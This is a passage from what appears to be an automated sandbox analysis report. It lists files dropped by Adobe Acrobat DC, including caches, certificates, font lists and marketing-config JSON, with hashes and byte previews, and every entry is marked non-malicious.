Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.437915102119835
Encrypted:	false
SSDEEP:	384:ye+ci5GRiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pdurVgazUpUTTGt
MD5:	B8137C0E24BF533F7EEB9338F7473A45
SHA1:	C8277C7A40FD44DA91B3F1D30B4DA4BD3BFB9AC6
SHA-256:	F0AE69B49F8715FEF97B567C461E57B3728A17CCB7DD96B32D61FD74B2C2947C
SHA-512:	74AFD32BFCDDA1EADE044CD49B1418F3616B647EFA7B10FB5750CFE97ECBC821B9BA8FE82596251C531C09927AD50B60865B12734BB7F267859B5E903D658AB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.765145089083762
Encrypted:	false
SSDEEP:	48:7MVJioyV5mioyEvoy1C7oy16oy1OTKOioy1noy1AYoy1Wioy1oioykioyBoy1nov:7OJuAeBXjBikb9IVXEBodRBkJ
MD5:	961583F0173DB6D0A0A6C7450B3CD594
SHA1:	C9E91C5169AFD96DD68296AB0EDE10A1B6FE3CA7
SHA-256:	FD46606B74C4563FD52330EECA2EBE450C4194A1DB3D2B75B8B9B40F30B7FD48
SHA-512:	CAC265C11B615FD0D89E515EBE831AB132AD124293AD77C77B140C2FD744811C1AEA04454047AC9D6F2E6934412DAFBB8A311BC4FF1ECFA78FF33463EE0A6C20
Malicious:	false
Preview:	.... .c.....+..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklk1tfllXlE/HT8kj7/XNNX8RolJuRdxLlGB9lQRYwpDdt:kK91eT8w7VNMa8RdWBwRd
MD5:	F552E0427F483BC392596B4070DC67E0
SHA1:	29EB4E35FA37CBC27D8ED0DD027D977FE7B06A5E
SHA-256:	9AB8721F6DE57BF61E3815C9F48A2C7E3F8B4147AA8DFD83B5515A126017F98D
SHA-512:	C4AFCEC91EEDD84B677CA804C42564D7BEC52D2A6732B0CAC389A5B0010C0D23CEB2123F00543A6EA17B603A84ABD245FADE4C08AA7FF57D5C3AD00A353AAEDF
Malicious:	false
Preview:	p...... .........G.W.c..(....................................................... ..........W....p...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2345913795203645
Encrypted:	false
SSDEEP:	6:kKJ1kPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:LkPiDImsLNkPlE99SNxAhUe/3
MD5:	12D7F190445DDA7C316C7555BEE4F550
SHA1:	03043D5AC1EE57A7A486B8684A03D7EADC181E48
SHA-256:	740C657E75E8BA69D7A00F993F4DD1644F10A09F454DC542DADFF113C6F314BB
SHA-512:	55A8688BAF4C10DCF002CC17E8ABB6B4B0F5D5CF28C7FF4BDFFB5B9BFC98F5FB5CC9C94A3785F87E5B9D7B98E76FA33BDBDAFABD0A8CA022479426AAB714E9B6
Malicious:	false
Preview:	p...... ........Y..i.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2036

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2036

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350968924743414
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJM3g98kUwPeUkwRe9:YvXKXLTT5LjIPr5GMbLUkee9
MD5:	8D4ACB562BA4737AB5F4589E48EF0D22
SHA1:	7C268175176814E0DA3834203A71CF5A9C9F5862
SHA-256:	7241298CF15808A93B2BF808C2D961352D55288BCBE590F9C237A814AE22E343
SHA-512:	AA4E2E340DCD34FBAF1588CE246B262A6C59EA4BB61872750598F9898F4363CC8B5A9831A47527291135D6CFFD383DC1739497639BB27BB61B52B18CC0FBA94C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305708565855747
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJfBoTfXpnrPeUkwRe9:YvXKXLTT5LjIPr5GWTfXcUkee9
MD5:	B8032AD880DB592817F762F25921D73A
SHA1:	403072EDE7ADD2ED146C2E0CC938A4E9963D02EE
SHA-256:	BCA00835EE637E1878EA55ACD80599CFC91706197C8F2EA9FA3C7E65C8C3B60B
SHA-512:	B19EFECA9BBB74B6DAF9476C19B37E7BE3405362A579C89A60E1420290FF3787FCE806A4546B08A8F11BFB65DB3EB02B9AB277546ACB762A9550E185BFD4DEA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283968061213554
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJfBD2G6UpnrPeUkwRe9:YvXKXLTT5LjIPr5GR22cUkee9
MD5:	873BDF070EFD608379A2EF95B38485C9
SHA1:	86692809BC338041AE04927A892C0AFBEA645F2B
SHA-256:	EAFF20F7185CEB3C02757CAA72998B782E304CF317295BE71A8274270C367C28
SHA-512:	3E10766470EA45E49CEFB5E46CF10FDA5906B21987D6BFCC498F92C263D2AF49DB0C2399A9722707F262BB6719F62349FC1476D16161643EE63FDFFF5692BD49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.331536063913602
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJfPmwrPeUkwRe9:YvXKXLTT5LjIPr5GH56Ukee9
MD5:	017558C52098D033BA8C8090FE433A99
SHA1:	10439B4CDF461E6D61DDC680C895252908896E40
SHA-256:	F362D3E317EBD28AADBB4F316F2905BE01E682B651C676216CB7D29BB70F5E40
SHA-512:	32ED3EBCFF4BA7948F06758F57C9ED38C8136516F2ECEB111C322923C44B2F7B3A4C47E9648DEA8F87415C4967DB83C31DE627143FBA23B49C7B13C870577F96
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691556122348289
Encrypted:	false
SSDEEP:	24:Yv6XnT5XIypLgE9cQx8LennAvzBvkn0RCmK8czOCCS2:YvEXbhgy6SAFv5Ah8cv/2
MD5:	589D3AA33FD4F34E30C54098BB523E7B
SHA1:	0FE1CF7F47CFE613B8374ADB8C14A9ADEBCA320A
SHA-256:	D02550FB0E31A45117CB5B5DAE427635FB40B6934BF3B2007EC560D6207D4940
SHA-512:	8F8AD5437B4B2E1359414D6DE7608221D3E1A3442A5CD7864F3040BE8977B5AA1C0CBE79E28B94E0F0F0977A98E1879864AC1506E8A299BDE292A8DF34DE713A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301990284583712
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJf8dPeUkwRe9:YvXKXLTT5LjIPr5GU8Ukee9
MD5:	D46EE0EF1847BB5E77C05CBAD54EE3D6
SHA1:	0EDA725BF3F0BDABA8412A1F4C99C62F27FC1992
SHA-256:	7CE9B623F778D55ECA6BB72143ADB029B9D22ACAB054E4D6BC0D67F9560440F8
SHA-512:	5FD68E20C573434B1EE39BE9AAFF85EBE04DBB77CACE80EF8C54053BCE2D5330B3103EABABC33CC2B6E083A8DF0E246FF1B29269922F46AB6830CC6CEEB7797C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294090288422817
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2J2wmSg1c2LjcWkHvR0YnKoAvJfQ1rPeUkwRe9:YvXKXLTT5LjIPr5GY16Ukee9
MD5:	4109FAAE2C46D3299606AB02DD412E46
SHA1:	CD381F658706EC810462A0BEEE73DCD3DD92D0C3
SHA-256:	DE43E087F452CC5B92A02C1EFBD079CF3E1EE45B10179955A7A89B54B4AE05DE
SHA-512:	664B051D589969F3D7033D5E70427BFB1028B8415C203594933EC8289D84774AC6FB7D19FA8B5DE6D057E177D26AA3B480066621478A30E66AF4090130656334
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1021c92-2c10-4132-b2da-a5b4e55da722","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736736059446,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
